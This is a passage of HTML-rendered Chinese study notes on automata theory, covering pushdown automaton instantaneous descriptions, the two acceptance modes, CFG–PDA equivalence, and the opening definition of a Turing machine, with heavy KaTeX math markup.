<li>Regular language <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⊂</mo></mrow><annotation encoding="application/x-tex">\subset</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">⊂</span></span></span></span> L(DPDA) <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⊂</mo></mrow><annotation encoding="application/x-tex">\subset</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mrel">⊂</span></span></span></span> Context-Free language</li>
</ul>
</li>
</ul>
<h3 id="pda-即时描述-instantaneous-description"><a href="#pda-即时描述-instantaneous-description">PDA 即时描述 Instantaneous Description</a></h3>
<ul>
<li>即时描述：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>w</mi><mo separator="true">,</mo><mi>γ</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">(</mo><mi>Q</mi><mo separator="true">,</mo><msup><mi mathvariant="normal">Σ</mi><mo>∗</mo></msup><mo separator="true">,</mo><msup><mi mathvariant="normal">Γ</mi><mstyle mathcolor="#cc0000"><mtext>\*</mtext></mstyle></msup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\forall (q,w,\gamma)\in (Q, \Sigma^*, \Gamma^\*)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∀</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.138em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">Γ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord text mtight" style="color:#cc0000;"><span class="mord mtight" style="color:#cc0000;">\*</span></span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 成为 M 的一个即时描述</li>
<li>一个非空移动的表示： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>a</mi><mi>w</mi><mo separator="true">,</mo><mi>Z</mi><mi>β</mi><mo stretchy="false">)</mo><msub><mo>⊢</mo><mi>M</mi></msub><mo stretchy="false">(</mo><mi>p</mi><mo separator="true">,</mo><mi>w</mi><mo separator="true">,</mo><mi>γ</mi><mi>β</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(q, aw, Z\beta) \vdash _M (p, w,\gamma\beta)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">Zβ</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mclose">)</span></span></span></span>，其中 aw 为即将读入的字符串，M 之前位于状态 q，栈顶为 Z，进入状态 p 后 Z 被 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>γ</mi></mrow><annotation encoding="application/x-tex">\gamma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span></span></span></span> 替换。</li>
<li>同样有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mo>⊢</mo><mi>M</mi></msub><msup><mo stretchy="false">)</mo><mo>∗</mo></msup><mo separator="true">,</mo><mo stretchy="false">(</mo><msub><mo>⊢</mo><mi>M</mi></msub><mo stretchy="false">)</mo><mover accent="true"><mo>+</mo><mo>ˆ</mo></mover><mo separator="true">,</mo><mo stretchy="false">(</mo><msub><mo>⊢</mo><mi>M</mi></msub><msup><mo stretchy="false">)</mo><mi>n</mi></msup></mrow><annotation encoding="application/x-tex">(\vdash_M)^*, (\vdash_M)\^+,(\vdash_M)^n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="base"><span class="strut" style="height:1.0968em;vertical-align:-0.25em;"></span><span class="mclose">)</span><span class="mord accent"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8468em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mbin">+</span></span><span style="top:-3.1523em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.25em;"><span class="mord">ˆ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.0833em;"><span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span></span></span></span> 的表达方式以表示特定次数的移动。</li>
</ul>
<p>可使用 ID 描述上述 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>L</mi><mrow><mi>w</mi><mi>w</mi><mi>r</mi></mrow></msub></mrow><annotation encoding="application/x-tex">L_{wwr}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">ww</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 如下：（）</p>
<img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-kO2T0e.png" alt="image-20200902211702996" style="zoom: 50%;" />
<h3 id="pda-接受的语言"><a href="#pda-接受的语言">PDA 接受的语言</a></h3>
<ul>
<li>以终止状态接受：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mo stretchy="false">(</mo><mi>P</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mi>w</mi><mtext>┤</mtext><mi mathvariant="normal">∣</mi><mo stretchy="false">(</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>w</mi><mo separator="true">,</mo><msub><mi>Z</mi><mn>0</mn></msub><mo stretchy="false">)</mo><msup><mo>⊢</mo><mo>∗</mo></msup><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>ϵ</mi><mo separator="true">,</mo><mi>α</mi><mo stretchy="false">)</mo><mo>∧</mo><mi>q</mi><mo>∈</mo><mi>F</mi></mrow></mrow><annotation encoding="application/x-tex">L(P)={w ┤| (q_0,w,Z_0 ) ⊢^∗ (q,ϵ,α)∧q∈F}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">L</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">┤∣</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ϵ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span></span></span></span></span></li>
<li>以空栈接受：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi><mo stretchy="false">(</mo><mi>P</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mi>w</mi><mtext>┤</mtext><mi mathvariant="normal">∣</mi><mo stretchy="false">(</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>w</mi><mo separator="true">,</mo><msub><mi>Z</mi><mn>0</mn></msub><mo stretchy="false">)</mo><msup><mo>⊢</mo><mo>∗</mo></msup><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>ϵ</mi><mo separator="true">,</mo><mi>ϵ</mi><mo stretchy="false">)</mo></mrow></mrow><annotation encoding="application/x-tex">N(P)={w ┤| (q_0,w,Z_0 ) ⊢^∗ (q,ϵ,ϵ)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">┤∣</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⊢</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ϵ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ϵ</span><span class="mclose">)</span></span></span></span></span></li>
</ul>
<p>定理：两种接收方式是等价的。</p>
<h2 id="cfg-与-pda-的等价性"><a href="#cfg-与-pda-的等价性">CFG 与 PDA 的等价性</a></h2>
<p>L 是 CFG 当且仅当能被一个 PDA 接受。（两种接收方式）</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-xakh4O.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-xakh4O.png" alt="image-20200902224334935" loading="lazy" data-wrapped="true"></a></p>
<h4 id="cfg---pda"><a href="#cfg---pda">CFG -> PDA</a></h4>
<p>模拟一个 CFG 的极左派生 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>⇒</mo><mrow><mi>l</mi><mi>m</mi></mrow><mo>∗</mo></msubsup></mrow><annotation encoding="application/x-tex">\Rightarrow^*_{lm}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9718em;vertical-align:-0.2831em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-2.4169em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2831em;"><span></span></span></span></span></span></span></span></span></span>：</p>
<ol>
<li>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>A</mi><mi>α</mi><msub><mo>⇒</mo><mrow><mi>l</mi><mi>m</mi></mrow></msub><mi>x</mi><mi>β</mi><mi>α</mi></mrow><annotation encoding="application/x-tex">xA\alpha\Rightarrow_{lm}x\beta\alpha</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">m</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span> 对应一个 PDA 的操作，在栈 Z 中压入非终止字符，在栈上有终止字符时便弹出</p>
</li>
<li>
<p>此时可能会有非法的指令（在栈中一字符（包括 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi></mrow><annotation encoding="application/x-tex">\varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span> 只能由一个字符替换）），可以进行指令分解</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-YCWWaJ.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-YCWWaJ.png" alt="image-20200902224102033" loading="lazy" data-wrapped="true"></a></p>
<p>分解 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ε</mi><mo separator="true">,</mo><mi>S</mi><mo>→</mo><mi>a</mi><mi>T</mi><mi>b</mi></mrow><annotation encoding="application/x-tex">\varepsilon, S \rightarrow aTb</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord mathnormal">b</span></span></span></span> 之后自动机如图所示：</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-q0azwS.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-q0azwS.png" alt="image-20200902224140954" loading="lazy" data-wrapped="true"></a></p>
<p>以此类推进行指令分解。</p>
</li>
</ol>
<h4 id="pda---cfg"><a href="#pda---cfg">PDA -> CFG</a></h4>
<p>暂且省略。</p>
<h1 id="iv-图灵机与可计算型"><a href="#iv-图灵机与可计算型">IV: 图灵机与可计算型</a></h1>
<h2 id="图灵机-turing-machine"><a href="#图灵机-turing-machine">图灵机 Turing Machine</a></h2>
<p>TM：人们所接受的算法的形式化描述。与 TM 具有同样计算能力的还有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex">\lambda</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span> 演算、递归函数、波斯特系统等。</p>
<p>定义：七元组 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><mo stretchy="false">(</mo><mi>Q</mi><mo separator="true">,</mo><mi mathvariant="normal">Σ</mi><mo separator="true">,</mo><mi mathvariant="normal">Γ</mi><mo separator="true">,</mo><mi>δ</mi><mo separator="true">,</mo><msub><mi>q</mi><mn>0</mn></msub><mo separator="true">,</mo><mi>B</mi><mo separator="true">,</mo><mi>F</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">M = (Q, \Sigma, \Gamma, \delta, q_0, B, F)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">Q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Σ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Γ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mclose">)</span></span></span></span>：</p>
<ul>
<li>Q 状态的有穷集合；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex">\Sigma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 输入字母表；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Γ</mi></mrow><annotation encoding="application/x-tex">\Gamma</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Γ</span></span></span></span> 带符号表（运行过程中的符号）；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> M 的开始状态；F 终止状态；B 空白符（基本图灵机的概念）；<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi></mrow><annotation encoding="application/x-tex">\delta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 转换函数，形如 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>δ</mi><mo stretchy="false">(</mo><mi>q</mi><mo separator="true">,</mo><mi>X</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mi>p</mi><mo separator="true">,</mo><mi>Y</mi><mo separator="true">,</mo><mi>R</mi><mtext>或</mtext><mi>L</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\delta(q, X) = (p, Y, R或L)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" 